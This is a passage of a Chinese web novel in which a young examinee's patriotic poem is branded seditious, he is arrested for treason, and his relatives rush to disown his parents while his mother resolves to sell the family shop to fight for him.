他上前一步,对陈大人一拱手,义正辞严地开口道: “陈大人,或许我们都想错了。” 陈大人闻言冷笑,都懒得再开口,只是用眼神示意他继续往下编。 吴连深定了定神,指着考卷上的最后一句,据理力争。 “这句收拾旧山河,收拾者,整顿也,旧山河者,失地也。此句之意,是指收复被妖蛮侵占的失地,光复我大夏疆土。” “至于这朝天阙,更是符合礼法。” 吴连深的声音越来越稳,思路也越来越清晰。 “《礼记·王制》有云,武将出征,血染疆场,收复失地之后,自当回京述职,面见天子,此乃君臣之礼,天经地义。” “通篇来看,此词写的皆是保家卫国之决心,是舍生忘死之忠勇,我们万不可曲解了考生的本意,否则,日后天下读书人,谁还敢为国明志?” 一番话,说得是掷地有声,条理分明。 原本面如死灰的一众阅卷官,听到吴连深这番引经据典的解释,眼中瞬间重新亮起了光。 对啊! 可以这么解! “吴大人所言极是!此乃大忠之词!” “是啊,我等险些误会了这位考生的拳拳报国之心!” 众人纷纷开口附和,心中对吴连深佩服的五体投地。 不愧是主考大人,学富五车,竟有如此急智,在这么短的时间内,就找到了如此精妙的角度。 这个解释,引经据典,逻辑缜密,简直是天衣无缝。 “呵呵。” 陈大人则冷笑一声,一副你们把我当傻子的表情,看着吴连深。 “不愧是临安府的读书人,当真是好一个牙尖嘴利。” “既然你们觉得这不是反诗,而是大忠大勇之词,那不如,就将这份考卷呈上去,给朝堂诸公,给首辅大人看看?” “看看阁老们,会作何感想?” 此言一出,刚刚还喧闹的至公堂,再次安静下来。 吴连深沉默了。 他心里清楚自己那番解释,虽能自圆其说,但终究是强解。 这最后一句,立场太过模糊,怎么解读都行。 真要闹到内阁去,捅到首辅大人面前,谁也无法预料后果。 陈大人见吴连深心虚的模样,心中冷笑更甚,一步步逼近。 “怎么?” “吴大人不是口口声声说这是大忠大勇之词吗?” “怎么就不敢给朝堂诸公过过眼了?” “这种行径,与庞盛那等乱臣贼子,又有何异?” 陈大人心头火起,镇北城一战中,庞盛就是如此。 朝堂明明已经确定和谈,他却率军主动出击,无视边关和戎国策,拥兵自重,贪功冒进。 最后被安了个擅自挑起边衅,破坏国策的大罪。 而这句“收拾旧山河,朝天阙”,比庞盛的行径有过之而无不及。 简直是公然谋逆! “难不成,写出这等诗词的考生,背后有天大的背景不成?” “我倒要看看,是何方神圣,能让你们临安府如此费心维护!” 说着,陈大人不等吴连深反应,转身大步走到桌案前。 这两张考卷,姓名籍贯处,还被白纸严严实实地糊着。 陈大人伸出手,没有半分犹豫,一把便将那层糊名的白纸,撕了下来。 众人齐齐伸长了脖子,目光汇聚在那一角。 一名阅卷官看清了上面的字,瞳孔骤然一缩,失声惊呼。 “居然是....清河卢璘?” 第84章 适逢其会 与此同时,柳府别院内。 少爷正瞪大了眼睛,满脸不可思议地看向夫子和卢璘。 “夫子,那照你这么说,璘哥儿这次岂不是凶多吉少?” “别说当案首了,读书人这层皮都有可能不保了?” 他本以为一个小小的府试,以璘哥儿的学问,想必案首也是手到擒来。 谁能想到,沈夫子听完卢璘的回答,脸上非但没有半点喜色,反而忧心忡忡。 直言璘哥儿可能卷入了一场大事。 第二首《满江红》可能会被定义为反诗。 少爷怎么也想不通,璘哥儿怎么可能写什么反诗吗? 那一句句诗词,自己方才听着,都只觉得满腔热血翻涌,恨不得立刻投身沙场,杀敌报国。 难道那些饱读诗书的考官,当真要睁着眼睛说瞎话不成? 沈夫子闻言,摇头叹气: “坏就坏在,此次考题是礼部和兵部联合出题,以镇北城为模拟。” “璘哥儿那些言论,放在平日,是激昂慷慨,是忠勇之词。” “可放在眼下这个节骨眼,就成了过激之言,随时可能被人抓住,当成攻讦的话柄。” “究其原因,在于庞将军被指控谋逆一案,此案本就是捕风捉影,是主和派为了打压异己,罗织的罪名。” “你这首《满江红》一出,岂不是正中主和派下怀,他们还正愁没有更直观的理由呢?” 少爷闻言,眼中更是疑惑,璘哥儿和庞将军八竿子打不着,璘哥儿写的诗,怎么可能用来给庞将军定罪吗? 卢璘也同样不解,目光疑惑,望向夫子。 夫子叹了口气,把庞将军的来历娓娓道来: “庞盛将军,本就是柳拱当年亲自向圣上力荐的将才。” “如今他那边出了这档事,再加上璘哥儿和柳府的关系,这首《满江红》....” “恐怕会被宴居那些人,以此为筏子啊!” 卢璘闻言,才明白了夫子的担忧从何何来。 少爷听完,顿时急得抓耳挠腮,转头一看,璘哥儿仍旧是那副波澜不惊的模样,有些意外。 “璘哥儿,你怎么一点都不担心啊,夫子不是说了吗,这次的考卷要被送至内阁,甚至御前。” “你就不担心朝堂诸公,看到你这《满江红》的反应吗?” 卢璘淡笑摇头,心想,若是岳武穆的明志之作也会被当成反诗,岂不是滑天下之大稽。 “不用担心。” “是不是反诗,不是那几个人说了就算。” “真要闹到御前,我也有底气自证清白。” 此言一出,少爷和沈夫子同时一愣。 有底气自证清白? “难不成,与你那第三场的作答有关?” .............. “清河卢璘”四字一出。 至公堂内,一时间鸦雀无声。 这个名字,对于在场的阅卷官们都不陌生。 圣院前的那场大戏,许多人都曾亲身经历。 十二岁的少年案首,县试写下传天下宏文。 可这个名字落在陈大人耳中,却让他眉头微皱。 “卢?范阳卢氏?” 陈大人下意识地便将卢璘与千年世家范阳卢氏联系到了一起。 原来是有这等背景,难怪这些人藏着掖着。 “卢家不是多在范阳府吗?怎么会跑到临安府下辖的一个小小清河县?” “陈大人误会了,此卢非彼卢,并非范阳卢氏。”吴连深立刻开口解释。 当然不是,要真是范阳卢氏才好,哪用得着藏着掖着。 可偏偏就不是啊! 吴连深当然知道这个卢璘是谁。 府试开考前,自己顶头上司魏大人,还曾亲自叮嘱过,要他将卢璘的府试答卷,单独拿出来给他看。 就在不久前,他才刚刚看过新鲜出炉的府试榜单。 榜上并没有卢璘的名字。 吴连深当时还以为,这位写出传天下之文的少年案首,不过只是昙花一现,耗尽了灵气,从此泯然众人。 却万万没有想到,他不是泯然众人。 而是写出了这等足以掀起滔天巨浪的诗词。 陈大人听完吴连深的解释,眼中的疑惑更浓。 他扫视了一圈周围那些神色各异的阅卷官。 “既然不是范阳卢氏,那这个卢璘又有何等背景,值得你们如此惊讶?” 几名阅卷官支支吾吾,你看我,我看你,谁也不敢先开口。 最终,还是吴连深顶着压力,缓缓吐出了几个字。 “卢璘此子,是柳府的书童。” 吴连深也知道,卢璘这个身份是瞒不住的。 他只希望陈大人听完之后,不要顺着这个身份,去做过多的联想。 可偏偏好的不灵坏的灵。 这四个字一出口,吴连深便看到陈大人的瞳孔,猛地收缩了一下。 “柳府书童?” 陈大人一脸的恍然大悟,忍不住一声讥笑。 “原来如此。” “我说什么考生竟有如此胆量,原来是背靠着柳阁老这棵参天大树啊。” “怪不得,怪不得敢写下如此谋逆之词!” “也难怪你们一个个藏着掖着,生怕被我发现,原来如此!” 串起来了,都串起来了。 柳阁老这是不甘心自己的爱将庞盛落得如此结局啊。 原来盘外招,竟是在这里等着。 难怪当初在内阁之中,柳阁老会极力推动,让圣上听一听这天下学子的声音。 这就是他的后手吗? 借一个书童之口,写出这等看似忠勇,实则包藏祸心的反诗,来试探圣心,来为庞盛鸣不平? 真是越老越糊涂了。 他难道不知道,圣上看到这等诗词,会作何反应吗? 难怪圣上对这位三朝元老,是愈发不看重了。 看着陈大人那副我已看穿一切的模样,吴连深与其他阅卷官皆是沉默不语。 吴连深也忍不住暗自摇头叹气,他在看到考卷上是卢璘名字的那一刻,就想到了,对方一定会拿这个身份来大做文章。 想通了关节的陈大人冷哼一声,将手中的考卷重重拍在桌案上。 “剩下的也不必看了。” “把此人的所有答卷都拿给本官,本官要亲自带回京城。” “让朝堂诸公都好好看一看,柳阁老究竟是何等的家风!” “他力荐的爱将公然谋逆,连自家的一个小小书童,都敢写出这等大逆不道的反诗!” 说完,陈大人将卢璘那两份已经撕开糊名的考卷拿起,连带着压在最底下,还未曾批阅的最后一张,一并收入袖中。 而后猛地一甩衣袖,转身大步流星地走出了至公堂。 第85章 府试放榜 翌日,天光乍破。 今天是府试放榜的日子。 临安府府试院外,早已是人头攒动。 相较于县试,府试放榜的场面更大。 临安府下辖十数个县,上千名考生与他们的亲友、同窗,将这片区域围得水泄不通。 考生们一张张脸上,神色各异,有自觉发挥好的,脸色自信满满,也有忐忑不安的,时不时双手合十,求祖宗保佑。 放榜的红墙之前,考生们三五成群,以各自籍贯为单位,抱团在一起低声议论。 “不知此次府试案首,会花落谁家。” “这还用猜?”一个身着云纹锦斓衫的学子,脸上带着十足的自信。 “我云渡县文风鼎盛,历来是临安府科举的执牛耳者。” “乙字号考场那日出现的达府异象,其中之一便是我云渡县的李贺兄所作,此次案首,非他莫属。” 话音刚落,旁边便传来一声轻哼。 “云渡县是厉害,可我临安县又何曾差了?” “上一届的府试案首,便出自我们临安县。” “王兄在县试时便已写出达府之作,此次府试更是状态神勇,案首之位,我看希望极大。” 这时,又有一个声音不合时宜地响起。 “呵呵,一群井底之蛙。” 众人循声望去,只见一名清河县的考生抱着双臂,嘴角不屑。 “要论真才实学,本届考生之中,又有谁能与我清河卢璘相提并论?” “你们哪个案首能在县试写出传天下宏文?” 消息经过几天的发酵,清河卢璘县试写下传天下惊世文章一事,已经传播得很广了。 这名清河县考生脸上与有荣焉,一副居高临下的态度看着众人。 真爽啊,这卢璘出自我清河县真是一大幸事。 这圣院前的杖责一事,就不和你计较了。 本以为自己说完,其他县的考生没有反驳之力。 没想到,人群中一个声音再次响起。 “清河卢璘?” 一名临安府本地考生听到这个名字,直接笑了出声,笑声里满是嘲弄。 他环视一圈,故意拔高了音量。 “你们还当这是在清河县试呢?” “还以为他能再写出一篇传天下奇文?” 顿了顿,卖足了关子,眼中的讥讽之色更浓。 “你们怕是还不知道吧。” “这位清河案首,这次别说什么府试案首了。” “他能不能保住身上这层读书人的皮,都还是两说呢!” 此言一出,周围瞬间安静下来。 一道道目光,齐刷刷地望向他。 “兄台,此话何意?” “难不成……府试之中,出了舞弊之事?” 此人摇了摇头,脸上露出一副高深莫测的表情,却不再多言。 恰在此时,卢璘与少爷的身影,从街口出走出,远远的出现在众人视野之中。 一瞬间,所有的议论声戛然而止。 上百道目光,齐齐落在了卢璘身上。 眼神复杂至极,有好奇,有轻蔑,有幸灾乐祸,更有毫不掩饰的指指点点。 刚走过来的少爷立刻就察觉到了气氛的诡异。 他眉头一拧,锐利的目光挨个瞪了回去,手腕一翻,连袖子都挽了起来。 “奶奶的!” “一个个看什么看!” “书都读到狗肚子里去了,连半点礼数都不懂!” 骂完,少爷才压低声音,凑到卢璘身边,脸色凝重。 “璘哥儿,看来情况不太妙啊。” 少爷不傻。 榜单还未公布,可这些普通考生,却好像已经提前知晓了什么内幕。 直接印证了夫子昨日的担忧。 璘哥儿第二场的作答,果然掀起了轩然大波。 卢璘的脸色却平静如常,淡淡地开口: “先看完放榜再说。” “天塌不下来。” ............ 这时,府试院内走出一队衙役。 锣鼓喧天,唢呐齐鸣,一路吹吹打打地行来。 中间一名衙役,双手郑重地捧着一卷明黄色的绸布,正是本次府试榜单。 人群自动让开一条道路,衙役们顺利走到高墙前。 所有人的目光,瞬间都被吸引了过去。 衙役在一众差役的护着下,将手中的榜文猛地一抖。 哗啦一声。 巨大的明黄色榜文如瀑布般展开,足有半人多高。 字迹用的是加粗的馆阁体,写得极大,每个人都能看得清清楚楚,即便站在人群外围,也能勉强辨认。 两个差役手脚麻利地提着浆糊桶上前,稳稳地将巨大榜文贴在了榜墙之上。 “开榜了!” 不知是谁喊了一嗓子,原本还算有序的人群,瞬间炸开。 一时间,人声鼎沸,众生百态尽显。 有人挤在最前排,目光从榜尾一路向上搜寻,当看到自己名字时,激动得满脸通红,挥舞着拳头,喜极而泣。 也有人找了半天,从头到尾看了数遍,依旧不见自己名姓,脸色瞬间煞白,像是被抽干了所有力气,瘫倒在地,嚎啕大哭。 少爷踮着脚,脖子伸得老长,拼了命地想往里挤。 “璘哥儿,咱们也快去看看!” 卢璘却拉住了他,神色平静。 “不用看。” “会有人告诉我们的。” 少爷一愣。 谁啊? 下一刻,人群中爆发出一阵狂喜的大笑。 “哈哈哈哈!案首果然是我云渡县的李贺兄!” “这下,你们临安县的人无话可说了吧!”一名云渡县的考生满面红光。 “上届府试,若非主考官出身你们临安府,案首也该是我云渡县的!” “论真才实学,你们临安府谁能比得上我们云渡县?” “说的是!”旁边另一名云渡县考生立刻高声附和。 “此次录取的五十名考生,就有接近五分之一来自我云渡县,案首更是出自我县!” 那人说着,话锋一转,目光讥讽,扫向了不远处几名清河县的考生。 “不像某些弄虚作假的地方,还整出什么十二岁的案首,简直是徒增笑柄。” “真能写出传天下的文章,怎么这次连府试都过不去?” 这话一出,几名清河县的考生顿时火冒三丈,当即便要上前理论。 可其中一人下意识地朝榜上看了一眼,脸上的怒气瞬间凝固,心里咯噔一声。 榜上,真的没有卢璘的名字。 难不成……卢璘真是昙花一现,江郎才尽了? 不远处少爷也听到这段对话,心也跟着沉了下去。 果然,连看都不用看了,榜上确实没有璘哥儿的名字。 看来都被夫子给料中了啊! 少爷默默地叹了口气,正准备拉着卢璘回别院。 第86章 谋逆罪! 两人刚准备打道回府,这时又有一队衙役从府试大门走出。 这队衙役穿过人群,径直走到了卢璘面前。 为首的衙役面无表情,上下打量了卢璘一眼。 “你就是清河卢璘?” “是我,何事?”卢璘眉头微蹙,点了点头。 那衙役脸上露出一丝冷笑,大手一挥。 “那就没错了。” “拷起来!” 两名衙役应声上前,手中铁链哗啦作响,便要朝卢璘手上锁去。 “你们干什么!” 少爷哪能让对方就这么把璘哥儿带走,他一个箭步拦在卢璘身前,双目圆瞪地望向几人。 “不问青红皂白,上来就要拷人,这是哪门子的道理!” 为首的衙役见状,冷笑一声: “道理?” “清河卢璘,涉及谋逆大案,你们还是想想,怎么跟布政使大人讲道理吧!” “抓起来!” 谋逆! 两个字如同惊雷,在人群中炸响,在场的考生们连看榜都忘记了,直直地围了上来,议论声瞬间沸腾。 “谋逆?一场府试,怎么会涉及谋逆?” “我的天,谋逆可是比考场舞弊严重百倍的大罪,那可是要诛九族的啊!” “难不成....是写了什么反诗?” 少爷一听“谋逆”二字,脑子嗡的一声,脑袋一片空白。 怎么会是谋逆呢? 这个罪名也太重了。 他顿时慌了神,下意识地看向卢璘。 见卢璘脸色虽然低沉,但眼神依旧镇定,还飞快地向自己摇了摇头。 少爷瞬间就明白了璘哥儿的意思,是让自己不要冲动,不要和官府正面对抗。 卢璘示意完少爷,抬头看向为首的衙役,平静开口。 “这位差爷,此事尚未定性,跟你们走一趟可以。” “但你们要确保我的安全。” 为首的衙役见卢璘身陷囹圄,竟还能如此处变不惊,条理清晰,眼中闪过一丝意外。 同时脑海里闪过,来之前想起了上官的交代。 “这事是神仙打架,咱们都是棋子,最好别瞎掺和。” 想到这里,他点了点头,语气缓和了些许。 “只要你老实配合,自然不会有事。” 他挥了挥手,示意手下不必用铁链,只是将卢璘围在中间。 少爷见状,脸色忧色难掩,真要被关进临安府大牢,什么罪名还不是他们说了算。 不行,我得先回去找夫子商量对策。 为首的衙役见卢璘没有抵抗,大手一挥,示意带走。 只留下一众还没有吃够瓜的考生们,再次对卢璘涉及谋逆一事,议论纷纷。 不远处的人群中,姗姗来迟的大伯,看着这一幕,整个人都呆住了。 他本是想来看看璘哥儿能不能拿下府试案首,好让自己也跟着沾沾光。 谁能想到,刚赶过来,就看到卢璘被衙役带走的场面。 谋逆? 自己耳朵没听错吧? 卢德的脑子嗡嗡作响,一片混乱。 回过神来后,大伯惊出一身冷汗。 谋逆.....那可是要株连的啊! 本朝虽然没有过诛九族的先例,但株连三族,抄没家产却是常事。 万一....万一株连到自己头上怎么办? 不行! 我得赶紧回清河县! 必须立刻回去,让爹娘和二房撇清所有关系! 想到这里,大伯再也顾不上其他,慌不择路地挤出人群,消失在了街角。 ............ 傍晚时分,下河村。 临近饭点,家家户户升起炊烟。 位于下河村中心位置的卢家小院,却传来一阵哭天喊地的呼喊声。 “爷啊,你再打,孙子就要死了啊!” 大房长孙卢观,此刻正跪在卢老爷面前,手上腿上青一块紫一块的,脸上更是鼻涕眼泪齐出。 卢观面前,卢老爷子黑着一张脸,手里攥着一根藤条,一口一口地抽着旱烟。 “你个不成器的东西!” “打你几下就要死要活的,打死你这个不成器的东西算了!” “同样是咱老卢家的孙子,你看看你,再看看你堂弟璘哥儿!” “他比你还小两岁,县试都过了,现在正在府城里考府试!” “你呢?你天天在私塾里干什么?睡觉!” 卢老爷子越说越气,手里的藤条都跟着抖了起来,又准备往大孙身上抽。 卢观吓得缩起了身子,下意识地准备躲。 卢老爷一边抽,一边恨铁不成钢的开口: “送你去私塾,是让你去睡觉的?” “家里的钱就让你这么糟蹋的?真是要气死你爷我了!” 打了好一会,打得卢老爷自己累得够呛,才一把扔下藤条,一屁股坐在藤椅上,有一搭没一搭地抽着旱烟,止不住的唉声叹气。 哭累的卢观见这顿打扛过去了,心里有些庆幸,同时又忍不住小声嘟囔了一句。 “谁让那老夫子天天摇头晃脑,念的东西跟催眠似的……” 卢老爷闻言瞪了一眼大孙,又叹了口气: “哎,算了,算了。” “咱们家能出一个璘哥儿读书种子,已经是老天爷保佑了。” “儿孙自有儿孙福吧。” 话音刚落,院门外突然传来一阵脚步声。 一个人影连滚带爬地冲了进来,正是一路从临安府赶回来的大伯。 此刻的大伯衣衫不整,满头大汗,脸色更是慌张。 “爹啊!爹啊!” 大伯一进门就扑通一声跪倒在地,声音里带着哭腔。 “咱们赶紧逃吧!璘哥儿犯事啦!” 卢老爷子年纪大了,耳朵有些背,只听到璘哥儿几个字,没听清后面的话。 “璘哥儿怎么了?” “府试又过来?”卢老爷脸上瞬间转怒为喜,还以为是大儿子赶回来报喜的。 屋里,大伯的喊声惊动了正在忙活的三叔三婶以及祖母。 几人纷纷从屋里走了出来,脸上都带着一丝期待。 大伯闻言,一个劲地摇头,哭嚎得更厉害了。 “还关心啥府试啊!” “璘哥儿犯事了!别说府试了,能不能挨过这一遭都不一定!” 卢老爷子脸上的笑容凝固了。 “犯事?” “犯什么事?璘哥儿好端端地参加科举,能犯什么事?” 三叔三婶和祖母也围了上来,满脸都是不解。 大伯抬起袖子抹了一把眼泪鼻涕,声音颤抖着,把在府试院外看到的那一幕说了出来。 “谋逆……衙役说……说璘哥儿犯了谋逆大罪,当场就被带走了!” 谋逆? 两个字一出,如同惊雷在卢老爷子脑中轰然炸响。 他整个人都懵了,大脑一片空白。 手里的旱烟杆啪嗒一声掉在地上。 三叔三婶和祖母也全都呆立当场,脸色惨白。 整个小院,死一般的寂静。 第87章 天生恶种啊! “爹啊!那可咋办啊!” 一声哭嚎响起,三叔第一个反应过来,本就胆子小的三叔听到谋逆二字,吓得双腿一软,当场瘫坐在了地上。 “谋逆啊!那可是要诛九族的!” “我们啥都没干,怎么就要被牵连了啊!” 三叔哭得一把鼻涕一把泪,心里又怕又恨。 那小兔崽子在柳府吃香的喝辣的的,过好日子的时候,自己连根毛的好处都没沾到。 这会一出事,这天大的祸事就要扣到自己头上! 这上哪说理去啊! 卢老爷子也回过神来,顿时肉眼可见地慌了神,平日里黝黑的脸此刻白得吓人,嘴唇哆哆嗦嗦的,一句话都说不完整。 “璘哥儿.....他....他怎么会和谋逆扯上关系?” 卢老爷子打死也想不明白。 自己今天上午,还在村口大槐树下,跟乡亲们炫耀,说自家璘哥儿如何天纵奇才,十二岁就去府城考府试了。 这才过了几个时辰,怎么就成了谋逆的罪犯啊? 而且还连累了这么一大家子。 他一个在地里刨了一辈子食的泥腿子,连县太爷都没见过几回,怎么就跟谋逆这种能杀全家的大罪扯上关系了呢。 大娘哭嚎声更加尖锐:“哎哟我的天爷啊!”。 “那个小畜生是干的什么事啊!这是要把咱们一大家子都给害死啊!” “我就花了二房孝敬爹娘那点钱,别的好处我可一点没沾啊!” 大伯心里也憋着火,心想老子还因为他挨了一顿板子呢。 他抹了把脸,急忙解释道:“具体干了啥我也不知道,儿子赶到临安府的时候,就看到璘哥儿被衙役给抓走了,就听周围人议论,好像是...是写了什么反诗。” 大伯当时哪敢多问啊。 生怕自己跟卢璘的关系被旁人知道,当场就被一并抓进大牢里去。 “我就说!我就说璘哥儿那小子打小就是个不安分的!” 大娘听到反诗两个字,哭嚎得更起劲了。 “这下好了,可把咱们一家子都给害惨了!” “对对对!” 三叔立刻找到了共鸣,连滚带爬地附和道。 “之前二哥跟咱爹分家,就是这小子在背后蛊惑的!” “这么小的年纪,心思就这么歪,现在又扯上谋逆了!” “什么文曲星下凡,我看就是个天生恶种!” 卢老爷子听着耳边的哭嚎和咒骂,心情复杂到了极点。 璘哥儿确实给他长了脸,让自己弯了一辈子的腰杆子在下河村挺了起了。 可没想到却带来了这等足以杀家灭门的滔天大祸。 这样的孙子... “哎”卢老爷子暗自叹气,转头看向还跪在地上的大儿子。 “老大,你是读书人,你主意多,你说……这可咋办啊?” 大伯这会儿仍旧是懵的,但好歹是读书人,见识比爹娘兄弟要多,硬着头皮开口道: “爹,现在最要紧的,是赶紧跟二房一家撇清关系!” “我朝立国以来,还没有过诛九族的先例,最多也就是株连三族。二房一家是肯定逃不过去了,但咱们这一大家子,只要撇清了关系,说不定....说不定能逃过一劫!” 这话一出,众人像是抓到了最后一根救命稻草。 “对对对!赶紧撇清关系!” “可不能被二房给连累了!” 大伯见状,心里慢慢有了底,继续说道:“儿子在县里衙门还有点关系,咱们这就去县城,让县衙给咱们出具一份文书,证明咱们早就和二房断了干系!” “去!都去!” 卢老爷子像是被抽干了所有力气,重重地叹了口气。 “顺道....顺道去给你二弟说一声。” 哎。 卢老爷子心中满是无奈。 父子一场,自己能做的,也只有这么多了。 大伯立刻点头同意,他也正有此意。 但他想的,却比卢老爷子要多得多。 谋逆,不仅要杀头,还要抄家。 老二家那间下水铺子,生意红火得全县都知道,那可都是白花花的银子。 就这么充了公,也太可惜了。 得想个法子,在官府抄家之前,把那铺子弄到自己手里。 好歹是亲兄弟一场,这铺子,可不能便宜了外人。 .............. 夜色如墨,将整个清河县笼罩。 卢家一行人赶到县城时,天已经彻底黑透了。 他们先去了文庙街的宅子,敲了许久的门,里面却无半点回应。 一行人又转头,匆匆忙忙地朝着卢记下水铺子的方向赶去。 .......... 铺子里,热气蒸腾。 即便临近亥时,生意依旧红火。 来来往往的,大多是街坊邻里的熟客。 一个在码头上刚下工的汉子,端着一碗热气腾腾的下水,对着案板后忙活的卢厚咧嘴一笑。 “掌柜的,听说你家儿子都去府城考府试了啊!” “了不得,你们老卢家这是要出秀才公了!” 旁边的食客闻言,也纷纷开口附和,言语间满是艳羡。 “是啊,掌柜的,你这儿子可真给你长脸!” “等大郎考上秀才,你这铺子,就该叫秀才下水了!” 正在忙活的卢厚听到夸赞,脸上露出憨笑,手上的动作更加卖力。 一旁帮忙收拾碗筷的李氏闻言,笑着接过了话头,语气里满是谦虚: “哪儿的话,那小子就是运气好。” “跟着去凑个热闹罢了,哪敢指望他真考中什么秀才。” “能过府试,都是祖上烧高香了。” 嘴上虽然这么说,可眼角眉梢笑意怎么也藏不住。 听到众人提到儿子,李氏不由地想起了远在府城的璘哥儿。 哎,也不知璘哥儿在府城吃得惯不惯,住得好不好,有没有瘦了。 就在这时,李氏一抬头,正好看见卢老爷子带着一大帮子人,黑压压地站在了店门口。 她脸上的笑意微微一滞,停下了手上的活计。 “爹,娘,你们怎么这么晚过来了?” “吃饭了没?” “当家的,快给爹娘弄点吃的。”李氏一边说着,一边转头对卢厚喊道。 卢厚闻言,抬头一看,爹娘一大家子人都杵在门口,也有些意外。 不过,更多的是开心。 如今日子越过越好,爹娘也愿意时不时来县里住上一阵子了。 “行,爹娘,你们自己坐,我这就给你们准备。” 可卢老爷闻言却一反常态,仍旧黑着一张脸,一言不发地堵在店门口,既不进来,也不坐下。 店里原本热闹的气氛,瞬间冷了下来。 一群食客们一下就有感觉到有瓜要吃,一双双眼睛顿时扫了过来。 第88章 为母则刚 连食客们都察觉到了不对劲,更别说李氏了。 不过,她还以为是家里又闹了什么鸡毛蒜皮的矛盾,惹得爹娘不高兴了。 李氏连忙拉过一旁的妯娌三婶,准备低声问个究竟。 这时,大伯率先开口,拉着一张脸,沉声道: “老二,我看今天这生意,要不就先别做了。” “有点事,得跟你说说。” 卢厚闻言,虽然不解,但还是点了点头。 “行,等送走这几位客官,我立马就打烊。” 一旁的三叔尖着嗓子叫了起来:“还等什么啊!” “再等,咱们一家子的脑袋都要掉光了!” 李氏脸色一变:“掉脑袋?” “他三叔,你胡说什么呢,到底出什么事了?” 说完,李氏转头望向一家之主卢老爷。 卢老爷子则疲惫地摆了摆手,眼神示意大儿子来解释。 大伯走到案桌前,瞅了眼周围,声音压得很低: “老二,你家儿子,在府城被抓了。” “罪名是……谋逆。” “咱们这一大家子,都要掉脑袋啊!” 谋逆二字一出,卢厚脸上的憨厚笑容,瞬间凝固,眼珠子都快瞪出来了。 “老大,你胡说什么呢?璘哥儿怎么可能谋逆,他才多大啊!” 李氏也不信,只当是他大伯又在动什么歪脑筋。 毕竟大伯在李氏这里可没什么好印象,满满的前科。 指不定这次又是打的什么歪主意想骗钱。 她放下手里的碗筷,擦了擦手,瞥了一眼大伯: “他大伯又从哪儿听来的浑话?” “这次又要花多少钱才能摆平啊?说个数,我跟你二哥凑凑。” 话里话外的讥讽,让大伯的脸一阵青一阵白。 他重重地叹了口气,将自己在府试院门外看到的那一幕,又仔仔细细地复述了一遍。 从衙役出现,到说出谋逆二字,再到卢璘被带走,每一个细节都说得清清楚楚。 “……事情就是这样,我亲眼看见的,还能有假?” 大伯一脸沉痛地看着卢厚和李氏。 “爹娘,三弟三弟妹,我们连夜从村里赶来,就是为了这事。” “总不能咱们一大家子都璘哥儿连累,一起掉脑袋吧?爹娘都这么大年纪了,苦了一辈子,临老了还要遭这个罪。 “现在只有一个办法,就是去县衙跟你们二房一家彻底断绝关系!” 这话一出,卢厚和李氏才猛地转头,望向一直沉默不语的卢老爷子。 卢老爷子紧闭着双眼,不敢看二房两口子,缓缓地点了点头。 卢厚见状,整个人都懵了,大脑一片空白。 李氏瞪大了眼睛,死死地盯着卢老爷,见到卢老爷的反应,李氏眼泪夺眶而出,无声滑落。 一想到璘哥儿被抓进大牢,更是眼前一黑,整个人险些栽倒在地。 大伯见状,叹了口气,一副以大局为重的口吻继续开口: “现在最好的办法,就是撇清关系,这样才不会牵连到咱们一大家子。” “老二,你也不希望咱爹娘这么大年纪了,还被你儿子牵连吧?” 大娘立刻尖着嗓子附和: “是啊,他二叔!总不能你儿子犯了谋逆大罪,还让我们这一大家子人跟着掉脑袋吧!” “我们可什么都没干!” 就在这时,一直默默流泪的李氏,突然止住了哭声。 她猛地抬起手,用袖子狠狠地抹了一把脸。 “璘哥儿不会谋逆!” “我儿子什么品性,我清楚,他绝不会干那种事!” “这一定是冤案!一定是有人陷害他!” 李氏打心底里不信,那个从小懂事孝顺,会给自己买新衣裳,会给爹娘分忧的儿子,怎么可能会谋逆。 大伯看着弟媳这副模样,循循善诱道:“弟妹,不管是不是冤案,咱们都得留条退路,也得给老卢家留个后啊。” “老二,还有件事,得跟你们商量。” 他顿了顿,目光落在了这间热气腾腾的铺子上,眼中闪过一丝贪婪。 “本朝的先例,谋逆大罪,除了杀头,还要抄家。” “你们这个铺子,与其便宜了官府那些外人,不如就留给爹娘养老。” “也算是我们,帮你们在爹娘跟前尽一份孝心。” “你觉得怎么样,老二?” 大伯觉得,以老二老实巴交的性子,自己用孝道去压他,断然没有不答应的道理。 卢厚闻言转头看向满脸老态的卢老爷,心一软,嘴唇翕动,正要开口同意。 一旁的李氏却抬起头,满眼坚定: “当家的。” “咱们把铺子卖了。” “砸锅卖铁,也要把璘哥儿救出来。” “不管闹到哪里,哪怕是告御状,哪怕是丢了这条性命,也要为璘哥儿讨个公道!” 大伯听到李氏要卖铺子,一下就慌了。 这次来,就是想方设法把二房这个日进斗金的铺子搞到手。 这要是让李氏给卖了,岂不是竹篮打水一场空? 卢厚闻言浑身一震,望向一旁的李氏,见李氏眼中一副豁出去,也要为儿子讨公道的坚定,顿时反应过来。 对啊,璘哥儿怎么可能谋逆? 去讨公道,一定还有办法。 去柳府,主母和老爷见多识广,他们一定有办法。 还有一线生机。 卢厚转过头,看着满脸错愕的大伯。 “大哥,这铺子,不能给你。” 说完,又望向卢老爷,开口道: “爹,你放心,明儿一早,我就跟当家的去县衙,把文书签了,绝不会牵连到你们。” “这个铺子,我们要卖掉。” “我们得留一笔钱在手上,去府城,为璘哥儿讨个公道。” “走之前,我们会给您二老留下一笔养老钱。” 卢厚一副像是交代后事一般的口吻,听得卢老爷老泪纵横。 老二这一走,说不定这辈子再难见面了。 卢厚见卢老爷泪流满面,脸上也无声流下了泪水,但此刻璘哥儿的事才是当头大事,也没那个心思想其他的。 他转头看向身旁的李氏: “当家的,你待会儿就去一趟柳府,问问夫人,愿不愿意接手咱们这个铺子。” “明天,咱们就动身去府城。” 李氏重重地点了点头,没有半句废话,立刻解下了腰间的围裙。 自己和当家的两个泥腿子,真要去告状,连衙门的门朝哪边开都摸不清。 主母见多识广,说不定有更好的路子。 大伯一听这话,顿时急了。 这下金蛋的母鸡,眼看就要到手了,怎么能让它飞了。 “老二!你疯了!” “谋逆大罪,告御状有什么用?说不定捅到天上去,罪过更大!” “本来只是咱们分家,牵连不到爹娘,你这么一闹,万一惹怒了贵人,那才是真的把全家都害了!” “而且你俩泥腿子,拿什么和官斗?” 正准备出门的李氏脚步一顿,转过身,目光平静地看着大伯。 “他大伯,我去柳府,就是求主母帮忙。” “柳家是何等人家,主母她老人家,一定有法子,不会让这事牵连到爹娘的。” “我们不是要斗,只是为了求个公道,哪怕豁出这条命,也要为璘哥儿求公道。” 第89章 临安府监牢 翌日清晨,天色灰蒙。 县衙门口的石狮子上盖着一层薄雾。 大伯一脸庆幸的从雾中走出,双手小心翼翼地捧着一张文书。 